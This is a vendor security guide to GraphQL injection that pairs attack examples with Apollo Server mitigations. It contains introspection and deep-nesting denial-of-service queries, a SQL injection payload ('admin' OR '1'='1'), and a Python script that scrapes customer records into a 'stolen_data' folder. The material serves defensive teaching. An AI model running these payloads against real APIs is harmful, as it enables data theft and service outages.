Documentation

GraphQL Injection

GraphQL Injection Illustration

A security vulnerability where attackers exploit improper input validation in GraphQL APIs to extract unauthorized data, bypass authentication, or cause denial of service through query complexity attacks.

HIGH SEVERITY DATA EXPOSURE API ATTACK


What is GraphQL Injection?

Critical API Vulnerability

GraphQL Injection can expose entire databases through introspection, allow unauthorized data access through field-level attacks, and cause service outages through query complexity exploitation. Unlike REST APIs with fixed endpoints, GraphQL's flexible query structure creates unique attack vectors.

In Simple Terms:

Imagine a library with a very flexible request system. Instead of asking for specific books, you can ask: "Give me all books, and for each book, give me the author, and for each author, give me ALL their books, and for each of THOSE books..."

GraphQL Injection exploits this flexibility to:

  • Request EVERYTHING in the database (through nested queries)
  • Access data you shouldn't see (through exposed fields)
  • Crash the server (through complex queries that consume massive resources)

It's like asking the librarian for "all books and all their relationships" until they collapse from exhaustion!


How GraphQL Injection Works

Understanding GraphQL Basics

GraphQL Query Example:

graphqlquery {
  user(id: 123) {
    name
    email
  }
}

Response:

json{
  "data": {
    "user": {
      "name": "John Doe",
      "email": "[email protected]"
    }
  }
}

Common Vulnerabilities

graphqlquery {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}

Reveals entire API structure including hidden fields!

graphqlquery {
  users {
    id
    username
    password  # Should be restricted!
    ssn       # Should be restricted!
  }
}
graphqlquery {
  user {
    posts {
      author {
        posts {
          author {
            posts {
              # ... infinite nesting!
            }
          }
        }
      }
    }
  }
}

Types of GraphQL Injection Attacks

1. Mass Data Extraction via Batching

CRITICAL

Vulnerable API
javascript// No rate limiting or batching restrictions
const resolvers = {
  Query: {
    user: (parent, { id }, context) => {
      return db.users.findById(id);
    }
  }
};
Attack Query
graphqlquery {
  user1: user(id: 1) { id username email ssn }
  user2: user(id: 2) { id username email ssn }
  user3: user(id: 3) { id username email ssn }
  # ... repeat for user4 through user10000
  user10000: user(id: 10000) { id username email ssn }
}

Single request extracts 10,000 users!

2. Introspection for Reconnaissance

INFORMATION DISCLOSURE

graphql# Discover all types
query {
  __schema {
    types {
      name
      description
      fields {
        name
        description
        type {
          name
          kind
        }
      }
    }
  }
}

Response reveals:

  • Hidden admin fields
  • Internal API structure
  • Sensitive field names (password, ssn, creditCard)
  • Relationships between entities

3. Query Depth/Complexity Attack (DoS)

DENIAL OF SERVICE

Circular Reference Attack
graphqlquery {
  user(id: 1) {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  # ... 50+ levels deep
                }
              }
            }
          }
        }
      }
    }
  }
}

Server attempts to resolve hundreds of thousands of nested queries → crash!

Alias Multiplication
graphqlquery {
  u1: user(id: 1) { posts { comments { replies { user { posts } } } } }
  u2: user(id: 1) { posts { comments { replies { user { posts } } } } }
  u3: user(id: 1) { posts { comments { replies { user { posts } } } } }
  # ... repeat 100 times with aliases
  u100: user(id: 1) { posts { comments { replies { user { posts } } } } }
}

100 aliases × 5 levels deep = 100,000+ database queries!

4. Field Injection

AUTHORIZATION BYPASS

Vulnerable Resolver
javascriptconst resolvers = {
  Query: {
    getUser: (parent, { id }, context) => {
      // VULNERABLE: Returns entire user object
      return db.users.findById(id);
    }
  }
};
Attack Query
graphqlquery {
  getUser(id: 123) {
    username
    email
    password      # Should be restricted!
    ssn           # Should be restricted!
    creditCard    # Should be restricted!
    role          # Can reveal admin status
    internalNotes # Internal data
  }
}

Even if frontend only requests username/email, attacker can request ANY field!

5. SQL Injection via GraphQL Variables

SQL INJECTION

Vulnerable Resolver
javascriptconst resolvers = {
  Query: {
    searchUsers: (parent, { searchTerm }, context) => {
      // VULNERABLE: Direct string interpolation
      const query = `SELECT * FROM users WHERE username LIKE '%${searchTerm}%'`;
      return db.raw(query);
    }
  }
};
Attack Query
graphqlquery {
  searchUsers(searchTerm: "admin' OR '1'='1") {
    id
    username
    password
  }
}

SQL becomes: SELECT * FROM users WHERE username LIKE '%admin' OR '1'='1%'

Returns ALL users!


Real-World Examples

Case Study 1: GitHub GraphQL API Information Disclosure (2018)

GitHub's GraphQL API exposed private repository information through insufficient field-level authorization.

graphqlquery {
  repository(owner: "private-company", name: "secret-project") {
    name
    description
    isPrivate
    defaultBranchRef {
      target {
        ... on Commit {
          history {
            nodes {
              message
              additions
              deletions
            }
          }
        }
      }
    }
  }
}

Even though repository was private, GraphQL API returned commit messages and stats if attacker knew the repository name!

  • Private repository metadata exposed
  • Commit messages revealed sensitive information
  • Fixed within 24 hours after disclosure
  • Highlighted field-level authorization importance

Case Study 2: E-commerce Platform Data Breach (2020)

2 MILLION RECORDS EXPOSED

Mass Data Extraction

GraphQL API with no rate limiting allowed attacker to extract 2 million customer records in 15 minutes.

Vulnerable API:

javascriptconst resolvers = {
  Query: {
    customer: async (parent, { id }) => {
      // No authentication check!
      // No rate limiting!
      return await db.customers.findById(id);
    }
  },
  Customer: {
    orders: async (customer) => {
      return await db.orders.findByCustomerId(customer.id);
    }
  }
};

Attack Script:

pythonimport requests
import json

# Extract all customers
for customer_id in range(1, 2000000):
    query = """
    query {
      customer(id: %d) {
        id
        name
        email
        phone
        address
        creditCard
        orders {
          id
          total
          items {
            name
            price
          }
        }
      }
    }
    """ % customer_id

    response = requests.post(
        'https://api.shop.com/graphql',
        json={'query': query}
    )

    data = response.json()
    # Save to file
    with open(f'stolen_data/customer_{customer_id}.json', 'w') as f:
        json.dump(data, f)

    if customer_id % 1000 == 0:
        print(f"[+] Extracted {customer_id} customers...")

# Completed in 15 minutes with parallel requests

Consequences:

  • 2 million customer records stolen
  • Credit card information exposed
  • $45 million in fraud
  • $120 million in fines and settlements
  • Company filed for bankruptcy

Case Study 3: Social Media Platform DoS (2021)

Attacker discovered circular relationships in GraphQL schema.

graphqlquery ExpensiveQuery {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                friends {
                  friends {
                    # 20 levels deep
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Impact:

  • Each user had average 200 friends
  • 200^20 = astronomical number of queries
  • Server consumed all memory and CPU
  • Platform down for 6 hours
  • $15 million in lost revenue

Prevention Strategies

1. Disable Introspection in Production

ESSENTIAL

Apollo Server
javascriptconst { ApolloServer } = require('apollo-server');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  // SECURE: Disable introspection in production
  introspection: process.env.NODE_ENV !== 'production',
  playground: process.env.NODE_ENV !== 'production'
});
GraphQL Yoga
javascriptimport { createServer } from '@graphql-yoga/node';

const server = createServer({
  schema,
  context: () => ({}),
  // Disable introspection
  maskedErrors: true,
  graphiql: process.env.NODE_ENV !== 'production'
});

2. Implement Query Complexity Analysis

CRITICAL

javascriptconst { ApolloServer } = require('apollo-server');
const { createComplexityLimitRule } = require('graphql-validation-complexity');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    // Limit query complexity
    createComplexityLimitRule(1000, {
      onCost: (cost) => {
        console.log('Query cost:', cost);
      },
      createError: (cost, documentNode) => {
        return new Error(
          `Query is too complex: ${cost}. Maximum allowed complexity: 1000`
        );
      }
    })
  ]
});

3. Implement Query Depth Limiting

javascriptconst depthLimit = require('graphql-depth-limit');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    // Maximum depth of 5
    depthLimit(5)
  ]
});

4. Field-Level Authorization

ESSENTIAL

javascriptconst resolvers = {
  Query: {
    user: async (parent, { id }, context) => {
      // Check authentication
      if (!context.user) {
        throw new Error('Authentication required');
      }

      return await db.users.findById(id);
    }
  },
  User: {
    // Field-level authorization
    email: (user, args, context) => {
      // Only return email if requesting own profile or admin
      if (context.user.id === user.id || context.user.role === 'admin') {
        return user.email;
      }
      return null;
    },
    ssn: (user, args, context) => {
      // NEVER expose SSN via API
      throw new Error('Field not accessible');
    },
    password: () => {
      // NEVER expose password
      throw new Error('Field not accessible');
    }
  }
};

5. Rate Limiting and Query Cost

javascriptconst { RateLimiterMemory } = require('rate-limiter-flexible');

const rateLimiter = new RateLimiterMemory({
  points: 100, // 100 points
  duration: 60, // per 60 seconds
});

const server = new ApolloServer({
  typeDefs,
  resolvers,
  context: async ({ req }) => {
    const ip = req.ip;

    try {
      await rateLimiter.consume(ip, 1);
    } catch (error) {
      throw new Error('Rate limit exceeded');
    }

    return { user: req.user };
  }
});

6. Input Validation and Sanitization

javascriptconst resolvers = {
  Query: {
    searchUsers: async (parent, { searchTerm }, context) => {
      // SECURE: Validate and sanitize input
      if (typeof searchTerm !== 'string') {
        throw new Error('Invalid search term');
      }

      // Remove special characters
      const sanitized = searchTerm.replace(/[^a-zA-Z0-9\s]/g, '');

      if (sanitized.length < 2 || sanitized.length > 50) {
        throw new Error('Search term must be 2-50 characters');
      }

      // Use parameterized query
      return await db.users.search(sanitized);
    }
  }
};

7. Comprehensive Security Implementation

javascriptconst { ApolloServer } = require('apollo-server-express');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const { RateLimiterMemory } = require('rate-limiter-flexible');
const express = require('express');

// Rate limiter
const rateLimiter = new RateLimiterMemory({
  points: 100,
  duration: 60
});

// Type definitions
const typeDefs = `
  type User {
    id: ID!
    username: String!
    email: String
    role: String
  }

  type Query {
    user(id: ID!): User
    users(limit: Int = 10): [User]
  }
`;

// Resolvers with security
const resolvers = {
  Query: {
    user: async (parent, { id }, context) => {
      // Authentication required
      if (!context.user) {
        throw new Error('Authentication required');
      }

      // Input validation
      if (!id || typeof id !== 'string') {
        throw new Error('Invalid ID');
      }

      return await db.users.findById(id);
    },
    users: async (parent, { limit }, context) => {
      // Authentication required
      if (!context.user) {
        throw new Error('Authentication required');
      }

      // Authorization - only admins can list users
      if (context.user.role !== 'admin') {
        throw new Error('Authorization required');
      }

      // Limit validation
      if (limit > 100) {
        throw new Error('Limit cannot exceed 100');
      }

      return await db.users.findAll({ limit });
    }
  },
  User: {
    // Field-level authorization
    email: (user, args, context) => {
      if (context.user.id === user.id || context.user.role === 'admin') {
        return user.email;
      }
      return null;
    },
    role: (user, args, context) => {
      // Only admins can see roles
      if (context.user.role === 'admin') {
        return user.role;
      }
      return null;
    }
  }
};

// Apollo Server configuration
const server = new ApolloServer({
  typeDefs,
  resolvers,

  // Disable introspection in production
  introspection: process.env.NODE_ENV !== 'production',
  playground: process.env.NODE_ENV !== 'production',

  // Validation rules
  validationRules: [
    // Limit query depth
    depthLimit(5),

    // Limit query complexity
    createComplexityLimitRule(1000)
  ],

  // Context with authentication
  context: async ({ req }) => {
    // Rate limiting
    try {
      await rateLimiter.consume(req.ip, 1);
    } catch (error) {
      throw new Error('Rate limit exceeded');
    }

    // Get user from token
    const token = req.headers.authorization?.replace('Bearer ', '');
    const user = await verifyToken(token);

    return { user };
  },

  // Error handling
  formatError: (error) => {
    // Don't expose internal errors in production
    if (process.env.NODE_ENV === 'production') {
      console.error(error);
      return new Error('Internal server error');
    }
    return error;
  }
});

// Express app
const app = express();

server.applyMiddleware({ app });

app.listen(4000, () => {
  console.log('🚀 Server ready at http://localhost:4000/graphql');
});

Security Checklist

Configuration

  • [ ] Disable introspection in production
  • [ ] Disable GraphQL Playground in production
  • [ ] Implement query depth limiting (max 5-10 levels)
  • [ ] Implement query complexity analysis
  • [ ] Set maximum query cost threshold
  • [ ] Enable query timeout (5-10 seconds)
  • [ ] Implement rate limiting per IP/user
  • [ ] Log all queries for monitoring

Authorization

  • [ ] Require authentication for all sensitive queries
  • [ ] Implement field-level authorization
  • [ ] Never expose password/ssn/sensitive fields
  • [ ] Validate user permissions for each resolver
  • [ ] Implement role-based access control
  • [ ] Check authorization at resolver level, not just query level
  • [ ] Limit batch queries (disable or restrict aliases)

Input Validation

  • [ ] Validate all input types and formats
  • [ ] Sanitize input before database queries
  • [ ] Use parameterized queries (prevent SQL injection)
  • [ ] Implement input length limits
  • [ ] Validate enum values
  • [ ] Check for malicious patterns

Monitoring

  • [ ] Log all GraphQL queries
  • [ ] Monitor query complexity patterns
  • [ ] Alert on high-complexity queries
  • [ ] Track rate limit violations
  • [ ] Monitor for introspection attempts in production
  • [ ] Set up anomaly detection
  • [ ] Regular security audits

Key Takeaways

Critical Security Points

  1. Disable introspection in production: Don't reveal your entire API structure

  2. Implement query complexity limits: Prevent expensive queries from crashing your server

  3. Limit query depth: Prevent circular reference attacks

  4. Field-level authorization: Check permissions for EVERY field, not just queries

  5. Rate limiting is essential: Prevent mass data extraction

  6. Never expose sensitive fields: password, ssn, creditCard should never be queryable

  7. Validate ALL inputs: Prevent injection attacks through GraphQL variables

  8. Monitor query patterns: Detect and block suspicious activity


How Layerd AI Protects Against GraphQL Injection

Layerd AI provides comprehensive GraphQL security:

  • Automatic Introspection Disabling: Ensures introspection is disabled in production
  • Query Complexity Analysis: Monitors and blocks expensive queries in real-time
  • Field-Level Authorization Validation: Verifies authorization checks on sensitive fields
  • Input Validation: Automatically sanitizes GraphQL variables
  • Rate Limiting: Prevents mass data extraction attempts
  • Anomaly Detection: Identifies suspicious query patterns
  • Schema Analysis: Audits GraphQL schema for security issues

Secure your GraphQL APIs with Layerd AI's intelligent protection.


Additional Resources


Last Updated: November 2025